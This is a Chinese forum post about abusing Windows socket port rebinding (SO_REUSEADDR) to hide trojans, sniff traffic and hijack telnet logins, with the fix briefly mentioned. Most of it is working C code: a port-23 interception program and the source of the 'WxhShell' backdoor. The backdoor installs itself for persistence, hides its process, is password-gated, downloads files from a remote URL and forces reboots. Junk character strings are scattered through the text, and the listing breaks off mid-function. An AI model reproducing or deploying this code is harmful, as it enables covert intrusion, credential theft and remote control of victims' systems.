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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b.;F)(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  8(5}Jo+  
V mKMj'  
  saddr.sin_family = AF_INET; A2* z  
g2w0#-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v34XcA  
dhsQfWg#}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a:v&pj+|<  
R279=sO,J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *,@dt+H!y  
*%\z#Bje@  
  这意味着什么?意味着可以进行如下的攻击: fZT=q^26  
to]1QjW-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ` *h-j/M  
}(20MW8rMc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4~DFtWbf  
[p[Kpunr{l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 56d,Sk)  
\ec,=7S<Zf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "qR qEpD%  
zF3fpEKe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %j{gZTz-  
1[:?oEI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jrZM  
yA \C3r'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V!a\:%#^Y  
_l{G Hz  
  #include *";,HG?|Iz  
  #include gGH<%nHW1  
  #include _;L9&>!p6  
  #include    >z.o?F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (7;}F~?h  
  int main() mJ)o-BV  
  { .@gv }`>  
  WORD wVersionRequested; ^ejU=0+cN  
  DWORD ret; ZG H2  
  WSADATA wsaData; Qt+ K,LY  
  BOOL val; Gt2NUGU  
  SOCKADDR_IN saddr; gj0gs  
  SOCKADDR_IN scaddr; g3Xq@RAJc  
  int err; jDqe)uVvtV  
  SOCKET s; H YZ94[Ti  
  SOCKET sc; (6L[eWuTn  
  int caddsize; 0 x4p!5  
  HANDLE mt; )apqL{u:=  
  DWORD tid;   R%"wf   
  wVersionRequested = MAKEWORD( 2, 2 ); C;-9_;&  
  err = WSAStartup( wVersionRequested, &wsaData ); _qR1M):yJ  
  if ( err != 0 ) { nX7{09  
  printf("error!WSAStartup failed!\n"); 4 ac2^`  
  return -1; g0: mm,t\  
  } f-E]!\Pg  
  saddr.sin_family = AF_INET; Pe6MDWR  
   hl(M0cxEWP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4. 7m*  
 {F+7> X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /EZF5_`bT  
  saddr.sin_port = htons(23); CE=&ZHt9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @{ _[bKg  
  { =6y4*f  
  printf("error!socket failed!\n"); 7q&Ru|T33  
  return -1; LBh|4S$K  
  } Z@nWx]iz  
  val = TRUE; )$p<BLU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jjN ]*{s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,B_Nz}\8  
  { s2FJ^4  
  printf("error!setsockopt failed!\n"); PHU#$LG  
  return -1; &U^6N+l9  
  } B[%FZm$`M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^oDCF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j"{|* _6E_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hsr,a{B%$  
NokAP|<y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `md)|PSU  
  { !C]0l  
  ret=GetLastError(); H`odQkZ!  
  printf("error!bind failed!\n"); *p0n{F9  
  return -1; ZCsL%(  
  } D/[(}o(  
  listen(s,2); =+HMPV6yg7  
  while(1) 9|R]Lz3PA  
  { -LI^(_  
  caddsize = sizeof(scaddr); 8,d<&3D  
  //接受连接请求 CT(VV6I\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lO&TSPD^  
  if(sc!=INVALID_SOCKET) gmtp/?>e  
  { 7DQ{#Gf#G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); COvcR.*0F  
  if(mt==NULL) s$Z zS2d  
  { 0/z=G!z\  
  printf("Thread Creat Failed!\n"); 8@ y@}  
  break; KKB&)R  
  } b{q-o <Q  
  } ^oaFnzJdf  
  CloseHandle(mt); x$ z9:'U  
  } /o%J / |  
  closesocket(s); 4JV/Ci5  
  WSACleanup(); qYjR  
  return 0; %zDh07VT\  
  }   0*G =~:  
  DWORD WINAPI ClientThread(LPVOID lpParam) c4H5[LPF  
  { b'F#Y9  
  SOCKET ss = (SOCKET)lpParam; vU= +  
  SOCKET sc; I2"F2(>8K  
  unsigned char buf[4096]; 5M6`\LyU  
  SOCKADDR_IN saddr; $d\]s]}`  
  long num; Ne>yFl"u  
  DWORD val; =SMI,p&  
  DWORD ret; kC:GEY<N:Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N<XS-XB,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y*ux7KO  
  saddr.sin_family = AF_INET; W>[0u3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~\HGV+S!g}  
  saddr.sin_port = htons(23); .%Pt[VQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D3,9X#B=  
  { e0rh~@E  
  printf("error!socket failed!\n"); >|[ l?`  
  return -1; vq(ElXTO  
  } V+04X"  
  val = 100; /4K ^-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &?[uY5Mk  
  { u Uy~$>V  
  ret = GetLastError(); mQ~0cwo)  
  return -1; C|or2  
  } xcf`i:\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RQg7vv]%  
  { .lbo\v}2W  
  ret = GetLastError(); qGezmkNFm  
  return -1; s1"dd7&g'  
  } #H8% BZyV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CGYZEPRR  
  { <,:p?36  
  printf("error!socket connect failed!\n"); xJ=@xfr$  
  closesocket(sc); 8 16OV  
  closesocket(ss); A.[~}ywH  
  return -1; Uxll<z,  
  } ()cqax4  
  while(1) on0MhW  
  { g+:Go9k!F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 = ^NTHc^*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V$OZC;4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tV'>9YVdG  
  num = recv(ss,buf,4096,0);  -9f+O^x  
  if(num>0) SO!|wag$  
  send(sc,buf,num,0); 2*[Gm e  
  else if(num==0) Y<vHL<G  
  break; \7\7i-Vo  
  num = recv(sc,buf,4096,0); p$S\l] ,  
  if(num>0) V{D~e0i/v  
  send(ss,buf,num,0); )0\"8}!  
  else if(num==0) ].(l^W  
  break; %k+G-oT5  
  } /[<1D|f%  
  closesocket(ss); ,JU3 w  
  closesocket(sc); O5v)}4  
  return 0 ; O~udlVn<6  
  } Dwx^hNh  
`<oNEr+#  
P #PRzt  
========================================================== To!` T$Xh  
50E?K!  
下边附上一个代码,,WXhSHELL f6$$e+  
s^vw]D  
========================================================== Sy0-tK4  
n)bbEXO  
#include "stdafx.h" ?LAiSg=eq  
s` $YY_  
#include <stdio.h> 0e,U&B<W  
#include <string.h> 3!*qB-d  
#include <windows.h> j7>a ^W  
#include <winsock2.h> RF|r@/S  
#include <winsvc.h> UzKB"Q  
#include <urlmon.h> *~%QXNn`  
tso\bxiU  
#pragma comment (lib, "Ws2_32.lib") /h v2=A  
#pragma comment (lib, "urlmon.lib") ]*&`J4i  
l2h1CtAU  
#define MAX_USER   100 // 最大客户端连接数 e&\+o}S  
#define BUF_SOCK   200 // sock buffer ^U.t5jj  
#define KEY_BUFF   255 // 输入 buffer ?`+G0VT  
TOge!Q>a  
#define REBOOT     0   // 重启 p?H2W-  
#define SHUTDOWN   1   // 关机 Ja[7/  
d>1cKmH!  
#define DEF_PORT   5000 // 监听端口 /V"6Q'D  
Wi"3kps q  
#define REG_LEN     16   // 注册表键长度 k"pN  
#define SVC_LEN     80   // NT服务名长度 OBEHUJ5  
.:(T}\]R  
// 从dll定义API pm>$'z!.):  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {;^GKb+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HU47 S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LKsK!X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QZ2a1f'G  
~LU$ no^  
// wxhshell配置信息 ('oA{,#L  
struct WSCFG { CYn56eRK  
  int ws_port;         // 监听端口 QnH;+k ln  
  char ws_passstr[REG_LEN]; // 口令 kVY 0 E  
  int ws_autoins;       // 安装标记, 1=yes 0=no E(miQ   
  char ws_regname[REG_LEN]; // 注册表键名 ltg\x8w?c  
  char ws_svcname[REG_LEN]; // 服务名 uMb[0-5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dk#4^`qp1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GbfA-\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .:9XpKbt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'X P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \L:+k `  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kj]m@mS[  
2=`}:&0l  
}; )Pj4_$uM  
%Y-KjSs+l  
// default Wxhshell configuration g..&x]aS(  
struct WSCFG wscfg={DEF_PORT, ,wB)hp  
    "xuhuanlingzhe", `-yiVUp1:z  
    1, K0^Tg+U($p  
    "Wxhshell", iM +p{ /bN  
    "Wxhshell", |gwGCa+  
            "WxhShell Service", R&@NFin  
    "Wrsky Windows CmdShell Service", Z11I1)%s  
    "Please Input Your Password: ", Nc\jA=  
  1, +Cs.v.GA5  
  "http://www.wrsky.com/wxhshell.exe", -/LB-t  
  "Wxhshell.exe" %~EOq\&  
    }; L',7@W  
5$%CRm  
// 消息定义模块 ^wW{7Uq>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "VI2--%v3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,ek0)z.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5z@QAQ  
char *msg_ws_ext="\n\rExit."; IiZXIG4H  
char *msg_ws_end="\n\rQuit."; b.mWB`59  
char *msg_ws_boot="\n\rReboot..."; 9HG"}CGZP  
char *msg_ws_poff="\n\rShutdown..."; mt]50}eK  
char *msg_ws_down="\n\rSave to "; sHm :G_  
hO..j  
char *msg_ws_err="\n\rErr!"; ?V$@2vBVX4  
char *msg_ws_ok="\n\rOK!"; 4mwLlYZ  
6'\VPjt  
char ExeFile[MAX_PATH]; ?a{>QyL  
int nUser = 0; , %$Cfu  
HANDLE handles[MAX_USER]; m4 :"c"  
int OsIsNt; naiy] oY"  
~09kIO)  
SERVICE_STATUS       serviceStatus; /[=U$=uH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l ^;=0UR_  
dEK bB  
// 函数声明 b0h>q$b  
int Install(void); 1pZ[r M'}  
int Uninstall(void); ~'t+X  
int DownloadFile(char *sURL, SOCKET wsh); 91:TE8?Z  
int Boot(int flag); Azag*M?  
void HideProc(void); .( X!*J]G  
int GetOsVer(void); wOrpp3I  
int Wxhshell(SOCKET wsl); E#/vgm=W;  
void TalkWithClient(void *cs); )mE67{YJh~  
int CmdShell(SOCKET sock); 0uhIJc'2  
int StartFromService(void); VCc57 Bo  
int StartWxhshell(LPSTR lpCmdLine); XE?,)8  
v.{I^=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h45RwQ5Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8rM1kOCf  
LT6VZ,S  
// 数据结构和表定义 e\WG-zi/  
SERVICE_TABLE_ENTRY DispatchTable[] = $X]Z-RCK3  
{ -14~f)%NQ*  
{wscfg.ws_svcname, NTServiceMain}, Q)ZbnR2Z8  
{NULL, NULL} _0!<iN L  
}; FXo{|z3  
W=zp:6Z~  
// 自我安装 %nT&  
int Install(void) S'(Hl}h!.  
{ U_1N*XK6$  
  char svExeFile[MAX_PATH]; GL'zNQP-  
  HKEY key; `fUP q ;  
  strcpy(svExeFile,ExeFile); [*v- i%U}  
( Y)a`[B  
// 如果是win9x系统,修改注册表设为自启动 u\P)x~-TM  
if(!OsIsNt) { P(Z\y^S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sT+\ z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , \R,O  
  RegCloseKey(key);  Sn-D|Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uoe>T:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &ZAc3@l[c  
  RegCloseKey(key); O*-sSf   
  return 0; /<it2=  
    } XYHVw)  
  } xD4G(]d!  
} (*dJ   
else { ~R\U1XXyUY  
{p M3f  
// 如果是NT以上系统,安装为系统服务 n^$HC=}S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `)_11ywZ  
if (schSCManager!=0) DY!mq91  
{ (h>+ivf|  
  SC_HANDLE schService = CreateService WDQw)EUl&  
  ( v m)'C C  
  schSCManager, I<L<xwh1(E  
  wscfg.ws_svcname, v9+1[Y";  
  wscfg.ws_svcdisp, a#i%7mfn  
  SERVICE_ALL_ACCESS, <n|.Z-gF\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dd$CN&Ca  
  SERVICE_AUTO_START, 0fU^  
  SERVICE_ERROR_NORMAL, i"U<=~  
  svExeFile, p:gM?2p1  
  NULL, .W q"  
  NULL, Trwk9 +  
  NULL, 7COJ.rA  
  NULL, dI|`"jl#  
  NULL 7z4u?>pne*  
  ); ZeY kZzN  
  if (schService!=0) DC8,ns]!y  
  { 5N4[hQrVJ  
  CloseServiceHandle(schService); 5 ,1q%  
  CloseServiceHandle(schSCManager); "J (.dg]"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UON W3}-  
  strcat(svExeFile,wscfg.ws_svcname); bLpGrGJs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yyVv@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t(F] -[  
  RegCloseKey(key); #3o]Qo[Sc  
  return 0; l\Or.I7n  
    } zPT!Fa`  
  } 8GD!]t#  
  CloseServiceHandle(schSCManager); ua!g}m~  
} (6S f#M  
} ,-[dr|.  
H<6/i@ly  
return 1; !rMl" Y[  
} (G:K?o)  
WxF rqUz  
// 自我卸载 VT&R1)c  
int Uninstall(void) * 5Y.9g3)Q  
{ MJ:>ZRXC E  
  HKEY key; dQ4K^u  
>@o}l:*  
if(!OsIsNt) { k$7@@?<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6hs2B5)+  
  RegDeleteValue(key,wscfg.ws_regname); &JpFt^IHi  
  RegCloseKey(key); $&|*v1rH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hA81(JWG  
  RegDeleteValue(key,wscfg.ws_regname); Eb<iR)e H=  
  RegCloseKey(key); cn4C K. ?  
  return 0; SEc3`y;j%  
  } buhn~ c  
} R.EA5X|_  
} w*Gv#B9G  
else { n_n0Q}du  
U&mJ_f#M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T$'GFA  
if (schSCManager!=0) %#Vn?zr|~  
{ /WVnyz0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kxg]sr"  
  if (schService!=0) U$`)|/8  
  { Lw]:/x  
  if(DeleteService(schService)!=0) { A2b C5lA  
  CloseServiceHandle(schService); ,Jf)A/_  
  CloseServiceHandle(schSCManager); %&yD^ q_  
  return 0; "b!QE2bRO  
  } O\ T  
  CloseServiceHandle(schService); X"W%(x`w  
  } 26E"Ui5q  
  CloseServiceHandle(schSCManager); gnoV>ON0  
} .6[xX?i^T  
} 7"r7F#D=G  
fz W%(.tc\  
return 1; <,l&),  
} EvMhNq~y5  
3R?7&oXvH  
// 从指定url下载文件 zVs_|x="  
int DownloadFile(char *sURL, SOCKET wsh) L;xc,"\3  
{ GG\]}UjX  
  HRESULT hr; #Xri%&~  
char seps[]= "/"; +b] g;  
char *token; mj<(qZh  
char *file; 2|o6~m<pE  
char myURL[MAX_PATH]; }Xs=x6Mj  
char myFILE[MAX_PATH]; qqSk*oH~  
~fs{Ff'  
strcpy(myURL,sURL); pN&Dpz^  
  token=strtok(myURL,seps); ,:-S<]fS{_  
  while(token!=NULL) r]km1SrS  
  { A $W,#`E  
    file=token; !wvP 24"y  
  token=strtok(NULL,seps); /Z>#lMg\.  
  } sRo%=7Z  
zb~!> QIz{  
GetCurrentDirectory(MAX_PATH,myFILE); #HB]qa  
strcat(myFILE, "\\"); :n>m">4  
strcat(myFILE, file); -zHJ#  
  send(wsh,myFILE,strlen(myFILE),0); UioLu90 P  
send(wsh,"...",3,0); A7-QOqST(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Te2XQU2,F  
  if(hr==S_OK) v%V$@MF  
return 0; 8;.WX  
else B4GgR,P@S  
return 1; @y9_\mX!s  
6{}]QvR  
} 6ndt1W z  
UBi0 /  
// 系统电源模块 BG~h9.c  
int Boot(int flag) ?bQ~ +M\  
{ G(|ki9^@"9  
  HANDLE hToken; r_ I7Gd  
  TOKEN_PRIVILEGES tkp; &iL"=\#  
$PstThM  
  if(OsIsNt) { 6I72;e ^!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +QuaQ% lA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); znFa4  
    tkp.PrivilegeCount = 1; ?^2(|t9KU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v l2!2X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <y\>[7Y  
if(flag==REBOOT) {  MI!C%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CP'?Om2  
  return 0; jUZ84Gm{  
} ?W9$=  
else { &voyEvX/S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4{X5ZS?CkI  
  return 0; TNUzNA  
} ^4O1:_|G  
  } z(aei(U=  
  else { 8{@|M l  
if(flag==REBOOT) { :U0z;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I/<aY*R4  
  return 0; ; GRSe  
} GG5wiN*2S  
else { !GURn1vcAe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Aj;Z &  
  return 0; 5<GC  
} M8ZpNa  
} 't{~#0d=  
C3u/8Mrt7  
return 1; ~M3`mO+^U  
} b/Z=FS2T  
CQW#o_\  
// win9x进程隐藏模块 fDNiU"  
void HideProc(void) * h!gjbi  
{ G}&B{Ir  
xJa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6FiI\  
  if ( hKernel != NULL ) 0hn N>?  
  { b\Y<1EV^[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y9{KBM%h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q.>@w<[!L  
    FreeLibrary(hKernel); Pb]: i+c)  
  } ']WS@MbJ  
6.ASLH3#  
return; S4aN7.'Q  
} fr#Y<=Jo  
zp:kdN7!^  
// 获取操作系统版本 KaNi'=nW  
int GetOsVer(void) P hs4]!  
{ ?{NP3  
  OSVERSIONINFO winfo; 'X d_8.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !1$Q Nxgi  
  GetVersionEx(&winfo); pwtB{6)VH{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zRd^Uks  
  return 1; 5I`j'j  
  else y[:\kI  
  return 0; -~ \R.<+  
} XZD9vFj1Z  
0}C> e`<'  
// 客户端句柄模块 T"xq^h1\  
int Wxhshell(SOCKET wsl) ;gLHSHEA  
{ {VtmQU? cJ  
  SOCKET wsh; 2#1"(m{  
  struct sockaddr_in client; /'k4NXnW3  
  DWORD myID; YRa{6*M  
K4~z@. G6*  
  while(nUser<MAX_USER)   V` 7  
{ }'L7<_  
  int nSize=sizeof(client); r6S-G{o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :>4pH  
  if(wsh==INVALID_SOCKET) return 1; 1BK!<}yI{  
`Sgj!/! F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @{N2I$%6  
if(handles[nUser]==0) d5Hp&tm  
  closesocket(wsh); N3dS%F,_  
else cCx@VT`0  
  nUser++; 8T<LNC  
  } WzG]9$v &  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UdO(9Jc5^  
KYa}k0tVAp  
  return 0; &O8vI ,M  
} k{\wjaf)  
RP[^1  
// 关闭 socket p[oR4 HWr  
void CloseIt(SOCKET wsh) !|4fww  
{ )S?.YCv?  
closesocket(wsh); "#}Uh  
nUser--; :&SvjJR  
ExitThread(0); %G6Q+LMwm  
} z`g4<  
ox:m;-Ml?_  
// 客户端请求句柄 )/4eT\=  
void TalkWithClient(void *cs) P:D@ 5  
{ cft/;A u{  
~dc o  
  SOCKET wsh=(SOCKET)cs; <MK4# I1I  
  char pwd[SVC_LEN]; a|}v?z\  
  char cmd[KEY_BUFF]; oZ]^zzoEcg  
char chr[1]; `r#]dT[g  
int i,j; `-_kOxe3  
i ZU 1w7Z  
  while (nUser < MAX_USER) { 2/o_,k  
kPRG^Ox8e  
if(wscfg.ws_passstr) { D[jPz0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I{nrOb1G(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (JMk0H3u  
  //ZeroMemory(pwd,KEY_BUFF); RnV#[bM{  
      i=0; Q*jNJ^IW  
  while(i<SVC_LEN) { eewlK]  
TmviYP gb  
  // 设置超时 ] 6Y6q])Z  
  fd_set FdRead; C[ma!he  
  struct timeval TimeOut; Pk ?M~{S  
  FD_ZERO(&FdRead); eP(|]Rk  
  FD_SET(wsh,&FdRead); #'y4UN  
  TimeOut.tv_sec=8; :,Zs {\oI3  
  TimeOut.tv_usec=0; .n\j<Kq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %+pF4f8]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $y$E1A6h+  
to9X2^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F_I.=zQr  
  pwd=chr[0]; \+Nn>wW.  
  if(chr[0]==0xd || chr[0]==0xa) { qtR/K=^i  
  pwd=0; f|+aa6hN  
  break; j{$2.W$  
  } S^Mx=KJG  
  i++; |S6L[Uo  
    } @@W-]SR  
dBm!`;r4  
  // 如果是非法用户,关闭 socket \yhj{QS.k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @1vpkB~ w  
} % `\}#  
vqhu%ZyP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <SKzCp\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bZ SaL^^(  
dKpUw9C#/  
while(1) { WSxE/C|[  
$y_P14  
  ZeroMemory(cmd,KEY_BUFF); !sVW0JSh  
Y3.^a5o  
      // 自动支持客户端 telnet标准   Oil~QAd,  
  j=0; &gdhq~4#  
  while(j<KEY_BUFF) { fB= j51Lw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &{e:6t  
  cmd[j]=chr[0]; " ?=$(7uc  
  if(chr[0]==0xa || chr[0]==0xd) { 3f-J%!aH  
  cmd[j]=0; z1m-t# v:  
  break; E#n=aY~u-  
  } jZgCDA8Mr!  
  j++; T+j-MR}{\  
    } Yln[ZmK9g  
g3| 62uDF  
  // 下载文件 #_kV o3  
  if(strstr(cmd,"http://")) { rVM?[_'O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ja&S^B^@  
  if(DownloadFile(cmd,wsh)) pGcijD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |>/m{L[  
  else #BW:*$>}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GK&R,q5}  
  } 5 \iX%w@  
  else { gxc8O).5vY  
Hto+spW  
    switch(cmd[0]) { ~o27~R ]  
  p5Wz.n.<'  
  // 帮助 }u.I%{4  
  case '?': { (R]b'3,E$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =sUrSVUeU  
    break; %9OVw #P  
  } B8 r#o=q1  
  // 安装 >Yx,%a@~R  
  case 'i': { :Izdj*HL;A  
    if(Install()) y4%[^g~-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1T 8|>2m 3  
    else i#%!J:_=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *6wt+twH  
    break; M.K%;j`  
    } lnnT_[ni.  
  // 卸载 8Z>=sUMQ  
  case 'r': { &~"e["gF=  
    if(Uninstall()) e=Q{CsP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '8c-V aa  
    else Ap!Y 3C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h| N!U/(U  
    break;  zt2#6v  
    } !"SuE)WM  
  // 显示 wxhshell 所在路径 j4+kL4M@H  
  case 'p': { -"5r-qq*  
    char svExeFile[MAX_PATH]; b,lIndj#  
    strcpy(svExeFile,"\n\r"); >dfk2.6e  
      strcat(svExeFile,ExeFile); ;uaZp.<um&  
        send(wsh,svExeFile,strlen(svExeFile),0); [&+5E1%L  
    break; J_d!` Hhe  
    } .9!?vz]1  
  // 重启 {7^D!lis  
  case 'b': { qsHjqK@(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W+BHt{  
    if(Boot(REBOOT)) w0,rFWS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !h>aP4ofT  
    else { '5}@# Mi  
    closesocket(wsh); %Wa. 2s  
    ExitThread(0); <CN+VXF  
    } L+Q.y~  
    break; j'q Iq;y  
    } gUrXaD#  
  // 关机 ]::g-&%Um  
  case 'd': { OFn#C!  
